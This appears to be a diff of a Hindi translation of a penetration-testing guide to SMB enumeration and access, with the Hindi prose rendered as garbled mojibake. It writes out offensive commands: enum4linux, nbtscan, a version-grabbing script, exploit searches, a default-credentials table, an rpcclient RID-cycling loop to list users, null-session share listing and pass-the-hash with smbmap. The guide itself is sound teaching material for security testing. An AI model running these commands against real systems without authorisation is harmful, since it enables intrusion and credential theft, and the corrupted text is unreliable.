рдирд┐рдпрдВрддреНрд░рд┐рдд рдХрд░рдиреЗ рдХреЗ рд▓рд┐рдП рдбрд┐рдЬрд╝рд╛рдЗрди рдХрд┐рдпрд╛ рдЧрдпрд╛ рд╣реИред рдореБрдЦреНрдп рд░реВрдк рд╕реЗ **Windows** рдСрдкрд░реЗрдЯрд┐рдВрдЧ рд╕рд┐рд╕реНрдЯрдо рд╢реНрд░реГрдВрдЦрд▓рд╛ рдХреЗ рднреАрддрд░ рдЙрдкрдпреЛрдЧ рдХрд┐рдпрд╛ рдЬрд╛рддрд╛ рд╣реИ, SMB рдкрд┐рдЫрдбрд╝реЗ рд╕рдВрдЧрддрддрд╛ рд╕реБрдирд┐рд╢реНрдЪрд┐рдд рдХрд░рддрд╛ рд╣реИ, рдЬрд┐рд╕рд╕реЗ рдорд╛рдЗрдХреНрд░реЛрд╕реЙрдлреНрдЯ рдХреЗ рдСрдкрд░реЗрдЯрд┐рдВрдЧ рд╕рд┐рд╕реНрдЯрдо рдХреЗ рдирдП рд╕рдВрд╕реНрдХрд░рдгреЛрдВ рд╡рд╛рд▓реЗ рдЙрдкрдХрд░рдг рдкреБрд░рд╛рдиреЗ рд╕рдВрд╕реНрдХрд░рдгреЛрдВ рдХреЗ рд╕рд╛рде рд╕рд╣рдЬрддрд╛ рд╕реЗ рдмрд╛рддрдЪреАрдд рдХрд░ рд╕рдХреЗрдВред рдЗрд╕рдХреЗ рдЕрддрд┐рд░рд┐рдХреНрдд, **Samba** рдкреНрд░реЛрдЬреЗрдХреНрдЯ рдПрдХ рдореБрдлреНрдд рд╕реЙрдлрд╝реНрдЯрд╡реЗрдпрд░ рд╕рдорд╛рдзрд╛рди рдкреНрд░рджрд╛рди рдХрд░рддрд╛ рд╣реИ, рдЬреЛ SMB рдХреЗ рдХрд╛рд░реНрдпрд╛рдиреНрд╡рдпрди рдХреЛ **Linux** рдФрд░ Unix рд╕рд┐рд╕реНрдЯрдо рдкрд░ рд╕рдХреНрд╖рдо рдмрдирд╛рддрд╛ рд╣реИ, рдЗрд╕ рдкреНрд░рдХрд╛рд░ SMB рдХреЗ рдорд╛рдзреНрдпрдо рд╕реЗ рдХреНрд░реЙрд╕-рдкреНрд▓реЗрдЯрдлрд╝реЙрд░реНрдо рд╕рдВрдЪрд╛рд░ рдХреЛ рд╕реБрд╡рд┐рдзрд╛рдЬрдирдХ рдмрдирд╛рддрд╛ рд╣реИред +**рд╕рд░реНрд╡рд░ рд╕рдВрджреЗрд╢ рдмреНрд▓реЙрдХ (SMB)** рдкреНрд░реЛрдЯреЛрдХреЙрд▓, рдЬреЛ **рдХреНрд▓рд╛рдЗрдВрдЯ-рд╕рд░реНрд╡рд░** рдореЙрдбрд▓ рдореЗрдВ рдХрд╛рд░реНрдп рдХрд░рддрд╛ рд╣реИ, рдлрд╝рд╛рдЗрд▓реЛрдВ, рдирд┐рд░реНрджреЗрд╢рд┐рдХрд╛рдУрдВ рдФрд░ рдкреНрд░рд┐рдВрдЯрд░ рдФрд░ рд░рд╛рдЙрдЯрд░ рдЬреИрд╕реА рдЕрдиреНрдп рдиреЗрдЯрд╡рд░реНрдХ рд╕рдВрд╕рд╛рдзрдиреЛрдВ рддрдХ **рдкрд╣реБрдБрдЪ** рдХреЛ рдирд┐рдпрдВрддреНрд░рд┐рдд рдХрд░рдиреЗ рдХреЗ рд▓рд┐рдП рдбрд┐рдЬрд╝рд╛рдЗрди рдХрд┐рдпрд╛ рдЧрдпрд╛ рд╣реИред рдореБрдЦреНрдп рд░реВрдк рд╕реЗ **Windows** рдСрдкрд░реЗрдЯрд┐рдВрдЧ рд╕рд┐рд╕реНрдЯрдо рд╢реНрд░реГрдВрдЦрд▓рд╛ рдХреЗ рднреАрддрд░ рдЙрдкрдпреЛрдЧ рдХрд┐рдпрд╛ рдЬрд╛рддрд╛ рд╣реИ, SMB рдкрд┐рдЫрдбрд╝реЗ рд╕рдВрдЧрддрддрд╛ рд╕реБрдирд┐рд╢реНрдЪрд┐рдд рдХрд░рддрд╛ рд╣реИ, рдЬрд┐рд╕рд╕реЗ рдирдП рд╕рдВрд╕реНрдХрд░рдгреЛрдВ рд╡рд╛рд▓реЗ Microsoft рдХреЗ рдСрдкрд░реЗрдЯрд┐рдВрдЧ рд╕рд┐рд╕реНрдЯрдо рд╡рд╛рд▓реЗ рдЙрдкрдХрд░рдг рдкреБрд░рд╛рдиреЗ рд╕рдВрд╕реНрдХрд░рдгреЛрдВ рд╡рд╛рд▓реЗ рдЙрдкрдХрд░рдгреЛрдВ рдХреЗ рд╕рд╛рде рд╕рд╣рдЬрддрд╛ рд╕реЗ рдмрд╛рддрдЪреАрдд рдХрд░ рд╕рдХреЗрдВред рдЗрд╕рдХреЗ рдЕрддрд┐рд░рд┐рдХреНрдд, **Samba** рдкреНрд░реЛрдЬреЗрдХреНрдЯ рдПрдХ рдореБрдлреНрдд рд╕реЙрдлрд╝реНрдЯрд╡реЗрдпрд░ рд╕рдорд╛рдзрд╛рди рдкреНрд░рджрд╛рди рдХрд░рддрд╛ рд╣реИ, рдЬреЛ SMB рдХреЗ рдХрд╛рд░реНрдпрд╛рдиреНрд╡рдпрди рдХреЛ **Linux** рдФрд░ Unix рд╕рд┐рд╕реНрдЯрдо рдкрд░ рд╕рдХреНрд╖рдо рдмрдирд╛рддрд╛ рд╣реИ, рдЗрд╕ рдкреНрд░рдХрд╛рд░ SMB рдХреЗ рдорд╛рдзреНрдпрдо рд╕реЗ рдХреНрд░реЙрд╕-рдкреНрд▓реЗрдЯрдлрд╝реЙрд░реНрдо рд╕рдВрдЪрд╛рд░ рдХреЛ рд╕реБрд╡рд┐рдзрд╛рдЬрдирдХ рдмрдирд╛рддрд╛ рд╣реИред -рд╢реЗрдпрд░, рдЬреЛ **рд╕реНрдерд╛рдиреАрдп рдлрд╝рд╛рдЗрд▓ рдкреНрд░рдгрд╛рд▓реА рдХреЗ рдордирдорд╛рдиреЗ рд╣рд┐рд╕реНрд╕реЛрдВ** рдХрд╛ рдкреНрд░рддрд┐рдирд┐рдзрд┐рддреНрд╡ рдХрд░рддреЗ рд╣реИрдВ, рдПрдХ SMB рд╕рд░реНрд╡рд░ рджреНрд╡рд╛рд░рд╛ рдкреНрд░рджрд╛рди рдХрд┐рдП рдЬрд╛ рд╕рдХрддреЗ рд╣реИрдВ, рдЬрд┐рд╕рд╕реЗ рдХреНрд▓рд╛рдЗрдВрдЯ рдХреЗ рд▓рд┐рдП рд╣рд╛рдпрд░рд╛рд░реНрдХреА рдХреЛ рд╕рд░реНрд╡рд░ рдХреА рд╡рд╛рд╕реНрддрд╡рд┐рдХ рд╕рдВрд░рдЪрдирд╛ рд╕реЗ рдЖрдВрд╢рд┐рдХ рд░реВрдк рд╕реЗ **рд╕реНрд╡рддрдВрддреНрд░** рд░реВрдк рд╕реЗ рджреЗрдЦрд╛ рдЬрд╛ рд╕рдХрддрд╛ рд╣реИред **рдПрдХреНрд╕реЗрд╕ рдХрдВрдЯреНрд░реЛрд▓ рд▓рд┐рд╕реНрдЯ (ACLs)**, рдЬреЛ **рдкрд╣реБрдБрдЪ рдЕрдзрд┐рдХрд╛рд░** рдХреЛ рдкрд░рд┐рднрд╛рд╖рд┐рдд рдХрд░рддреА рд╣реИрдВ, рдЙрдкрдпреЛрдЧрдХрд░реНрддрд╛ рдЕрдиреБрдорддрд┐рдпреЛрдВ рдкрд░ **рд╕реВрдХреНрд╖реНрдо-рдирд┐рдпрдВрддреНрд░рдг** рдХреА рдЕрдиреБрдорддрд┐ рджреЗрддреА рд╣реИрдВ, рдЬрд┐рд╕рдореЗрдВ **`execute`**, **`read`**, рдФрд░ **`full access`** рдЬреИрд╕реЗ рдЧреБрдг рд╢рд╛рдорд┐рд▓ рд╣реИрдВред рдпреЗ рдЕрдиреБрдорддрд┐рдпрд╛рдБ рд╢реЗрдпрд░ рдХреЗ рдЖрдзрд╛рд░ рдкрд░ рд╡реНрдпрдХреНрддрд┐рдЧрдд рдЙрдкрдпреЛрдЧрдХрд░реНрддрд╛рдУрдВ рдпрд╛ рд╕рдореВрд╣реЛрдВ рдХреЛ рд╕реМрдВрдкреЗ рдЬрд╛ рд╕рдХрддреЗ рд╣реИрдВ, рдФрд░ рд╕рд░реНрд╡рд░ рдкрд░ рд╕реЗрдЯ рд╕реНрдерд╛рдиреАрдп рдЕрдиреБрдорддрд┐рдпреЛрдВ рд╕реЗ рднрд┐рдиреНрди рд╣реЛрддреА рд╣реИрдВред +рд╢реЗрдпрд░, рдЬреЛ **рд╕реНрдерд╛рдиреАрдп рдлрд╝рд╛рдЗрд▓ рдкреНрд░рдгрд╛рд▓реА рдХреЗ рдордирдорд╛рдиреЗ рд╣рд┐рд╕реНрд╕реЛрдВ** рдХрд╛ рдкреНрд░рддрд┐рдирд┐рдзрд┐рддреНрд╡ рдХрд░рддреЗ рд╣реИрдВ, рдПрдХ SMB рд╕рд░реНрд╡рд░ рджреНрд╡рд╛рд░рд╛ рдкреНрд░рджрд╛рди рдХрд┐рдП рдЬрд╛ рд╕рдХрддреЗ рд╣реИрдВ, рдЬрд┐рд╕рд╕реЗ рдХреНрд▓рд╛рдЗрдВрдЯ рдХреЗ рд▓рд┐рдП рдПрдХ рд╣рдж рддрдХ **рд╕реНрд╡рддрдВрддреНрд░** рд░реВрдк рд╕реЗ рд╕рд░реНрд╡рд░ рдХреА рд╡рд╛рд╕реНрддрд╡рд┐рдХ рд╕рдВрд░рдЪрдирд╛ рдХреЗ рд╕рд╛рде рджреГрд╢реНрдпрддрд╛ рдорд┐рд▓рддреА рд╣реИред **рдПрдХреНрд╕реЗрд╕ рдХрдВрдЯреНрд░реЛрд▓ рд▓рд┐рд╕реНрдЯ (ACLs)**, рдЬреЛ **рдкрд╣реБрдБрдЪ рдЕрдзрд┐рдХрд╛рд░** рдХреЛ рдкрд░рд┐рднрд╛рд╖рд┐рдд рдХрд░рддреА рд╣реИрдВ, рдЙрдкрдпреЛрдЧрдХрд░реНрддрд╛ рдЕрдиреБрдорддрд┐рдпреЛрдВ рдкрд░ **рд╕реВрдХреНрд╖реНрдо-рдирд┐рдпрдВрддреНрд░рдг** рдХреА рдЕрдиреБрдорддрд┐ рджреЗрддреА рд╣реИрдВ, рдЬрд┐рд╕рдореЗрдВ **`execute`**, **`read`**, рдФрд░ **`full access`** рдЬреИрд╕реЗ рдЧреБрдг рд╢рд╛рдорд┐рд▓ рд╣реИрдВред рдпреЗ рдЕрдиреБрдорддрд┐рдпрд╛рдБ рд╢реЗрдпрд░ рдХреЗ рдЖрдзрд╛рд░ рдкрд░ рд╡реНрдпрдХреНрддрд┐рдЧрдд рдЙрдкрдпреЛрдЧрдХрд░реНрддрд╛рдУрдВ рдпрд╛ рд╕рдореВрд╣реЛрдВ рдХреЛ рд╕реМрдВрдкреЗ рдЬрд╛ рд╕рдХрддреЗ рд╣реИрдВ, рдФрд░ рдпреЗ рд╕рд░реНрд╡рд░ рдкрд░ рд╕реЗрдЯ рд╕реНрдерд╛рдиреАрдп рдЕрдиреБрдорддрд┐рдпреЛрдВ рд╕реЗ рднрд┐рдиреНрди рд╣реЛрддреА рд╣реИрдВред ### IPC$ Share -IPC$ рд╢реЗрдпрд░ рддрдХ рдкрд╣реБрдБрдЪ рдПрдХ рдЧреБрдордирд╛рдо рд╢реВрдиреНрдп рд╕рддреНрд░ рдХреЗ рдорд╛рдзреНрдпрдо рд╕реЗ рдкреНрд░рд╛рдкреНрдд рдХреА рдЬрд╛ рд╕рдХрддреА рд╣реИ, рдЬреЛ рдирд╛рдорд┐рдд рдкрд╛рдЗрдк рдХреЗ рдорд╛рдзреНрдпрдо рд╕реЗ рдЙрдЬрд╛рдЧрд░ рд╕реЗрд╡рд╛рдУрдВ рдХреЗ рд╕рд╛рде рдмрд╛рддрдЪреАрдд рдХреА рдЕрдиреБрдорддрд┐ рджреЗрддреА рд╣реИред рдЗрд╕ рдЙрджреНрджреЗрд╢реНрдп рдХреЗ рд▓рд┐рдП рдЙрдкрдпреЛрдЧрд┐рддрд╛ `enum4linux` рдЙрдкрдпреЛрдЧреА рд╣реИред рд╕рд╣реА рдврдВрдЧ рд╕реЗ рдЙрдкрдпреЛрдЧ рдХрд░рдиреЗ рдкрд░, рдпрд╣ рдирд┐рдореНрдирд▓рд┐рдЦрд┐рдд рдХреА рдЕрдзрд┐рдЧреНрд░рд╣рдг рдХреА рдЕрдиреБрдорддрд┐ рджреЗрддрд╛ рд╣реИ: +IPC$ рд╢реЗрдпрд░ рддрдХ рдкрд╣реБрдБрдЪ рдПрдХ рдЧреБрдордирд╛рдо рд╢реВрдиреНрдп рд╕рддреНрд░ рдХреЗ рдорд╛рдзреНрдпрдо рд╕реЗ рдкреНрд░рд╛рдкреНрдд рдХреА рдЬрд╛ рд╕рдХрддреА рд╣реИ, рдЬреЛ рдирд╛рдорд┐рдд рдкрд╛рдЗрдк рдХреЗ рдорд╛рдзреНрдпрдо рд╕реЗ рдЙрдЬрд╛рдЧрд░ рд╕реЗрд╡рд╛рдУрдВ рдХреЗ рд╕рд╛рде рдмрд╛рддрдЪреАрдд рдХреА рдЕрдиреБрдорддрд┐ рджреЗрддреА рд╣реИред рдЗрд╕ рдЙрджреНрджреЗрд╢реНрдп рдХреЗ рд▓рд┐рдП рдЙрдкрдпреЛрдЧрд┐рддрд╛ `enum4linux` рдЙрдкрдпреЛрдЧреА рд╣реИред рд╕рд╣реА рддрд░реАрдХреЗ рд╕реЗ рдЙрдкрдпреЛрдЧ рдХрд░рдиреЗ рдкрд░, рдпрд╣ рдирд┐рдореНрдирд▓рд┐рдЦрд┐рдд рдЬрд╛рдирдХрд╛рд░реА рдкреНрд░рд╛рдкреНрдд рдХрд░рдиреЗ рдореЗрдВ рд╕рдХреНрд╖рдо рдмрдирд╛рддрд╛ рд╣реИ: - рдСрдкрд░реЗрдЯрд┐рдВрдЧ рд╕рд┐рд╕реНрдЯрдо рдХреА рдЬрд╛рдирдХрд╛рд░реА - рдорд╛рддрд╛-рдкрд┐рддрд╛ рдбреЛрдореЗрди рдХрд╛ рд╡рд┐рд╡рд░рдг @@ -36,11 +36,11 @@ IPC$ рд╢реЗрдпрд░ рддрдХ рдкрд╣реБрдБрдЪ рдПрдХ рдЧреБрдордирд╛рдо рд╢реВрдиреН ```bash enum4linux -a target_ip ``` -рдЙрдкрд░реЛрдХреНрдд рдХрдорд╛рдВрдб рдПрдХ рдЙрджрд╛рд╣рд░рдг рд╣реИ рдХрд┐ рдХреИрд╕реЗ `enum4linux` рдХрд╛ рдЙрдкрдпреЛрдЧ рдПрдХ рд▓рдХреНрд╖рд┐рдд `target_ip` рдХреЗ рдЦрд┐рд▓рд╛рдл рдкреВрд░реНрдг рдПрдиреНрдпреВрдорд░реЗрд╢рди рдХрд░рдиреЗ рдХреЗ рд▓рд┐рдП рдХрд┐рдпрд╛ рдЬрд╛ рд╕рдХрддрд╛ рд╣реИред +рдЙрдкрд░реЛрдХреНрдд рдХрдорд╛рдВрдб рдПрдХ рдЙрджрд╛рд╣рд░рдг рд╣реИ рдХрд┐ `enum4linux` рдХрд╛ рдЙрдкрдпреЛрдЧ `target_ip` рджреНрд╡рд╛рд░рд╛ рдирд┐рд░реНрджрд┐рд╖реНрдЯ рд▓рдХреНрд╖реНрдп рдХреЗ рдЦрд┐рд▓рд╛рдл рдкреВрд░реНрдг рдПрдиреНрдпреВрдорд░реЗрд╢рди рдХрд░рдиреЗ рдХреЗ рд▓рд┐рдП рдХреИрд╕реЗ рдХрд┐рдпрд╛ рдЬрд╛ рд╕рдХрддрд╛ рд╣реИред ## NTLM рдХреНрдпрд╛ рд╣реИ -рдпрджрд┐ рдЖрдк рдирд╣реАрдВ рдЬрд╛рдирддреЗ рдХрд┐ NTLM рдХреНрдпрд╛ рд╣реИ рдпрд╛ рдЖрдк рдЬрд╛рдирдирд╛ рдЪрд╛рд╣рддреЗ рд╣реИрдВ рдХрд┐ рдпрд╣ рдХреИрд╕реЗ рдХрд╛рдо рдХрд░рддрд╛ рд╣реИ рдФрд░ рдЗрд╕рдХрд╛ рджреБрд░реБрдкрдпреЛрдЧ рдХреИрд╕реЗ рдХрд┐рдпрд╛ рдЬрд╛ рд╕рдХрддрд╛ рд╣реИ, рддреЛ рдЖрдк рдЗрд╕ рдкреГрд╖реНрда рдХреЛ рдмрд╣реБрдд рджрд┐рд▓рдЪрд╕реНрдк рдкрд╛рдПрдВрдЧреЗ рдЬреЛ **NTLM** рдХреЗ рдмрд╛рд░реЗ рдореЗрдВ рд╣реИ рдЬрд╣рд╛рдБ **рдЗрд╕ рдкреНрд░реЛрдЯреЛрдХреЙрд▓ рдХреЗ рдХрд╛рдо рдХрд░рдиреЗ рдХрд╛ рддрд░реАрдХрд╛ рдФрд░ рдЖрдк рдЗрд╕рдХрд╛ рд▓рд╛рдн рдХреИрд╕реЗ рдЙрдард╛ рд╕рдХрддреЗ рд╣реИрдВ, рд╕рдордЭрд╛рдпрд╛ рдЧрдпрд╛ рд╣реИ:** +рдпрджрд┐ рдЖрдк рдирд╣реАрдВ рдЬрд╛рдирддреЗ рдХрд┐ NTLM рдХреНрдпрд╛ рд╣реИ рдпрд╛ рдЖрдк рдЬрд╛рдирдирд╛ рдЪрд╛рд╣рддреЗ рд╣реИрдВ рдХрд┐ рдпрд╣ рдХреИрд╕реЗ рдХрд╛рдо рдХрд░рддрд╛ рд╣реИ рдФрд░ рдЗрд╕рдХрд╛ рджреБрд░реБрдкрдпреЛрдЧ рдХреИрд╕реЗ рдХрд┐рдпрд╛ рдЬрд╛ рд╕рдХрддрд╛ рд╣реИ, рддреЛ рдЖрдк рдЗрд╕ рдкреГрд╖реНрда рдХреЛ рдмрд╣реБрдд рджрд┐рд▓рдЪрд╕реНрдк рдкрд╛рдПрдВрдЧреЗ рдЬреЛ **NTLM** рдХреЗ рдмрд╛рд░реЗ рдореЗрдВ рд╣реИ рдЬрд╣рд╛рдБ **рдЗрд╕ рдкреНрд░реЛрдЯреЛрдХреЙрд▓ рдХреЗ рдХрд╛рдо рдХрд░рдиреЗ рдХрд╛ рддрд░реАрдХрд╛ рдФрд░ рдЖрдк рдЗрд╕рдХрд╛ рд▓рд╛рдн рдХреИрд╕реЗ рдЙрдард╛ рд╕рдХрддреЗ рд╣реИрдВ** рд╕рдордЭрд╛рдпрд╛ рдЧрдпрд╛ рд╣реИ: {{#ref}} ../windows-hardening/ntlm/ @@ -54,9 +54,9 @@ nbtscan -r 192.168.0.1/24 ``` ### SMB рд╕рд░реНрд╡рд░ рд╕рдВрд╕реНрдХрд░рдг -SMB рд╕рдВрд╕реНрдХрд░рдг рдХреЗ рд╕рдВрднрд╛рд╡рд┐рдд рд╢реЛрд╖рдгреЛрдВ рдХреА рддрд▓рд╛рд╢ рдХрд░рдиреЗ рдХреЗ рд▓рд┐рдП рдпрд╣ рдЬрд╛рдирдирд╛ рдорд╣рддреНрд╡рдкреВрд░реНрдг рд╣реИ рдХрд┐ рдХреМрди рд╕рд╛ рд╕рдВрд╕реНрдХрд░рдг рдЙрдкрдпреЛрдЧ рдХрд┐рдпрд╛ рдЬрд╛ рд░рд╣рд╛ рд╣реИред рдпрджрд┐ рдпрд╣ рдЬрд╛рдирдХрд╛рд░реА рдЕрдиреНрдп рдЙрдкрдпреЛрдЧ рдХрд┐рдП рдЧрдП рдЙрдкрдХрд░рдгреЛрдВ рдореЗрдВ рдирд╣реАрдВ рджрд┐рдЦрд╛рдИ рджреЗрддреА рд╣реИ, рддреЛ рдЖрдк: +SMB рд╕рдВрд╕реНрдХрд░рдг рдХреЗ рд▓рд┐рдП рд╕рдВрднрд╛рд╡рд┐рдд рд╢реЛрд╖рдгреЛрдВ рдХреА рддрд▓рд╛рд╢ рдХрд░рдиреЗ рдХреЗ рд▓рд┐рдП рдпрд╣ рдЬрд╛рдирдирд╛ рдорд╣рддреНрд╡рдкреВрд░реНрдг рд╣реИ рдХрд┐ рдХреМрди рд╕рд╛ рд╕рдВрд╕реНрдХрд░рдг рдЙрдкрдпреЛрдЧ рдореЗрдВ рд╣реИред рдпрджрд┐ рдпрд╣ рдЬрд╛рдирдХрд╛рд░реА рдЕрдиреНрдп рдЙрдкрдпреЛрдЧ рдХрд┐рдП рдЧрдП рдЙрдкрдХрд░рдгреЛрдВ рдореЗрдВ рдирд╣реАрдВ рджрд┐рдЦрд╛рдИ рджреЗрддреА рд╣реИ, рддреЛ рдЖрдк: -- **MSF** рд╕рд╣рд╛рдпрдХ рдореЙрдбреНрдпреВрд▓ \_**auxiliary/scanner/smb/smb_version** рдХрд╛ рдЙрдкрдпреЛрдЧ рдХрд░реЗрдВ +- **MSF** рд╕рд╣рд╛рдпрдХ рдореЙрдбреНрдпреВрд▓ _**auxiliary/scanner/smb/smb_version**_ рдХрд╛ рдЙрдкрдпреЛрдЧ рдХрд░реЗрдВ - рдпрд╛ рдпрд╣ рд╕реНрдХреНрд░рд┐рдкреНрдЯ: ```bash #!/bin/sh @@ -74,22 +74,22 @@ tcpdump -s0 -n -i tap0 src $rhost and port $rport -A -c 7 2>/dev/null | grep -i echo "exit" | smbclient -L $rhost 1>/dev/null 2>/dev/null echo "" && sleep .1 ``` -### **рдЦреЛрдЬ рд╢реЛрд╖рдг** +### **рд╢реЛрдз рд╢реЛрд╖рдг** ```bash msf> search type:exploit platform:windows target:2008 smb searchsploit microsoft smb ``` ### **рд╕рдВрднрд╛рд╡рд┐рдд** рдХреНрд░реЗрдбреЗрдВрд╢рд┐рдпрд▓реНрд╕ -| **рдЙрдкрдпреЛрдЧрдХрд░реНрддрд╛ рдирд╛рдо(s)** | **рд╕рд╛рдорд╛рдиреНрдп рдкрд╛рд╕рд╡рд░реНрдб** | +| **рдпреВрдЬрд░рдиреЗрдо(s)** | **рд╕рд╛рдорд╛рдиреНрдп рдкрд╛рд╕рд╡рд░реНрдб** | | -------------------- | ----------------------------------------- | | _(рдЦрд╛рд▓реА)_ | _(рдЦрд╛рд▓реА)_ | -| рдЕрддрд┐рдерд┐ | _(рдЦрд╛рд▓реА)_ | -| рд╡реНрдпрд╡рд╕реНрдерд╛рдкрдХ, admin | _(рдЦрд╛рд▓реА)_, рдкрд╛рд╕рд╡рд░реНрдб, рд╡реНрдпрд╡рд╕реНрдерд╛рдкрдХ, admin | -| arcserve | arcserve, рдмреИрдХрдЕрдк | -| tivoli, tmersrvd | tivoli, tmersrvd, admin | -| backupexec, рдмреИрдХрдЕрдк | backupexec, рдмреИрдХрдЕрдк, arcada | -| рдкрд░реАрдХреНрд╖рдг, рдкреНрд░рдпреЛрдЧрд╢рд╛рд▓рд╛, рдбреЗрдореЛ | рдкрд╛рд╕рд╡рд░реНрдб, рдкрд░реАрдХреНрд╖рдг, рдкреНрд░рдпреЛрдЧрд╢рд╛рд▓рд╛, рдбреЗрдореЛ | +| рдЧреЗрд╕реНрдЯ | _(рдЦрд╛рд▓реА)_ | +| рд╡реНрдпрд╡рд╕реНрдерд╛рдкрдХ, рдПрдбрдорд┐рди | _(рдЦрд╛рд▓реА)_, рдкрд╛рд╕рд╡рд░реНрдб, рд╡реНрдпрд╡рд╕реНрдерд╛рдкрдХ, рдПрдбрдорд┐рди | +| рдЖрд░реНрдХрд╕рд░реНрд╡ | рдЖрд░реНрдХрд╕рд░реНрд╡, рдмреИрдХрдЕрдк | +| рдЯрд┐рд╡реЛрд▓реА, tmersrvd | рдЯрд┐рд╡реЛрд▓реА, tmersrvd, рдПрдбрдорд┐рди | +| рдмреИрдХрдЕрдкрдПрдХреНрд╕реЗрдХ, рдмреИрдХрдЕрдк | рдмреИрдХрдЕрдкрдПрдХреНрд╕реЗрдХ, рдмреИрдХрдЕрдк, рдЖрд░реНрдХрд╛рдбрд╛ | +| рдЯреЗрд╕реНрдЯ, рд▓реИрдм, рдбреЗрдореЛ | рдкрд╛рд╕рд╡рд░реНрдб, рдЯреЗрд╕реНрдЯ, рд▓реИрдм, рдбреЗрдореЛ | ### рдмреНрд░реВрдЯ рдлреЛрд░реНрд╕ @@ -139,7 +139,7 @@ enumdomgroups ```bash lookupsid.py -no-pass hostname.local ``` -Oneliner +рд╡рдирд▓рд╛рдЗрдирд░ ```bash for i in $(seq 500 1100);do rpcclient -N -U "" 10.10.10.10 -c "queryuser 0x$(printf '%x\n' $i)" | grep "User Name\|user_rid\|group_rid" && echo "";done ``` @@ -169,7 +169,7 @@ pentesting-smb/rpcclient-enumeration.md ### рд╕рд╛рдЭрд╛ рдлрд╝реЛрд▓реНрдбрд░реЛрдВ рдХреА рд╕реВрдЪреА -рдпрд╣ рд╣рдореЗрд╢рд╛ рдЕрдиреБрд╢рдВрд╕рд┐рдд рд╣реИ рдХрд┐ рджреЗрдЦреЗрдВ рдХрд┐ рдХреНрдпрд╛ рдЖрдк рдХрд┐рд╕реА рдЪреАрдЬрд╝ рддрдХ рдкрд╣реБрдБрдЪ рд╕рдХрддреЗ рд╣реИрдВ, рдпрджрд┐ рдЖрдкрдХреЗ рдкрд╛рд╕ рдХреНрд░реЗрдбреЗрдВрд╢рд┐рдпрд▓реНрд╕ рдирд╣реАрдВ рд╣реИрдВ рддреЛ **null** **рдХреНрд░реЗрдбреЗрдВрд╢рд┐рдпрд▓реНрд╕/рдЧреЗрд╕реНрдЯ рдпреВрдЬрд░** рдХрд╛ рдЙрдкрдпреЛрдЧ рдХрд░рдиреЗ рдХреА рдХреЛрд╢рд┐рд╢ рдХрд░реЗрдВред +рдпрд╣ рд╣рдореЗрд╢рд╛ рдЕрдиреБрд╢рдВрд╕рд┐рдд рд╣реИ рдХрд┐ рдЖрдк рджреЗрдЦреЗрдВ рдХрд┐ рдХреНрдпрд╛ рдЖрдк рдХрд┐рд╕реА рдЪреАрдЬрд╝ рддрдХ рдкрд╣реБрдБрдЪ рд╕рдХрддреЗ рд╣реИрдВ, рдпрджрд┐ рдЖрдкрдХреЗ рдкрд╛рд╕ рдХреНрд░реЗрдбреЗрдВрд╢рд┐рдпрд▓реНрд╕ рдирд╣реАрдВ рд╣реИрдВ рддреЛ **null** **рдХреНрд░реЗрдбреЗрдВрд╢рд┐рдпрд▓реНрд╕/рдЕрддрд┐рдерд┐ рдЙрдкрдпреЛрдЧрдХрд░реНрддрд╛** рдХрд╛ рдЙрдкрдпреЛрдЧ рдХрд░рдиреЗ рдХреА рдХреЛрд╢рд┐рд╢ рдХрд░реЗрдВред ```bash smbclient --no-pass -L // # Null user smbclient -U 'username[%passwd]' -L [--pw-nt-hash] // #If you omit the pwd, it will be prompted. With --pw-nt-hash, the pwd provided is the NT hash @@ -197,7 +197,7 @@ smbmap -u "username" -p ":" [-r/-R] [Folder] -H [-P ] #Pass-t ``` ### **рдореИрдиреНрдпреБрдЕрд▓ рд░реВрдк рд╕реЗ рд╡рд┐рдВрдбреЛрдЬрд╝ рд╢реЗрдпрд░реЛрдВ рдХреА рдЧрдгрдирд╛ рдХрд░реЗрдВ рдФрд░ рдЙрдирд╕реЗ рдХрдиреЗрдХреНрдЯ рдХрд░реЗрдВ** -рдпрд╣ рд╕рдВрднрд╡ рд╣реИ рдХрд┐ рдЖрдкрдХреЛ рд╣реЛрд╕реНрдЯ рдорд╢реАрди рдХреЗ рдХрд┐рд╕реА рднреА рд╢реЗрдпрд░ рдХреЛ рдкреНрд░рджрд░реНрд╢рд┐рдд рдХрд░рдиреЗ рд╕реЗ рдкреНрд░рддрд┐рдмрдВрдзрд┐рдд рдХрд┐рдпрд╛ рдЧрдпрд╛ рд╣реЛ рдФрд░ рдЬрдм рдЖрдк рдЙрдиреНрд╣реЗрдВ рд╕реВрдЪреАрдмрджреНрдз рдХрд░рдиреЗ рдХреА рдХреЛрд╢рд┐рд╢ рдХрд░рддреЗ рд╣реИрдВ, рддреЛ рдРрд╕рд╛ рдкреНрд░рддреАрдд рд╣реЛрддрд╛ рд╣реИ рдХрд┐ рдХрдиреЗрдХреНрдЯ рдХрд░рдиреЗ рдХреЗ рд▓рд┐рдП рдХреЛрдИ рд╢реЗрдпрд░ рдирд╣реАрдВ рд╣реИрдВред рдЗрд╕рд▓рд┐рдП, рдПрдХ рд╢реЗрдпрд░ рд╕реЗ рдореИрдиреНрдпреБрдЕрд▓ рд░реВрдк рд╕реЗ рдХрдиреЗрдХреНрдЯ рдХрд░рдиреЗ рдХреА рдХреЛрд╢рд┐рд╢ рдХрд░рдирд╛ рд╕рд╛рд░реНрдердХ рд╣реЛ рд╕рдХрддрд╛ рд╣реИред рд╢реЗрдпрд░реЛрдВ рдХреА рдореИрдиреНрдпреБрдЕрд▓ рдЧрдгрдирд╛ рдХрд░рдиреЗ рдХреЗ рд▓рд┐рдП, рдЖрдк NT_STATUS_ACCESS_DENIED рдФрд░ NT_STATUS_BAD_NETWORK_NAME рдЬреИрд╕реА рдкреНрд░рддрд┐рдХреНрд░рд┐рдпрд╛рдУрдВ рдХреА рддрд▓рд╛рд╢ рдХрд░ рд╕рдХрддреЗ рд╣реИрдВ, рдЬрдм рдЖрдк рдПрдХ рдорд╛рдиреНрдп рд╕рддреНрд░ рдХрд╛ рдЙрдкрдпреЛрдЧ рдХрд░ рд░рд╣реЗ рд╣реЛрдВ (рдЬреИрд╕реЗ, рдирд▓ рд╕рддреНрд░ рдпрд╛ рдорд╛рдиреНрдп рдХреНрд░реЗрдбреЗрдВрд╢рд┐рдпрд▓)ред рдпреЗ рдпрд╣ рд╕рдВрдХреЗрдд рдХрд░ рд╕рдХрддреЗ рд╣реИрдВ рдХрд┐ рд╢реЗрдпрд░ рдореМрдЬреВрдж рд╣реИ рдФрд░ рдЖрдкрдХреЗ рдкрд╛рд╕ рдЗрд╕рдХрд╛ рдПрдХреНрд╕реЗрд╕ рдирд╣реАрдВ рд╣реИ 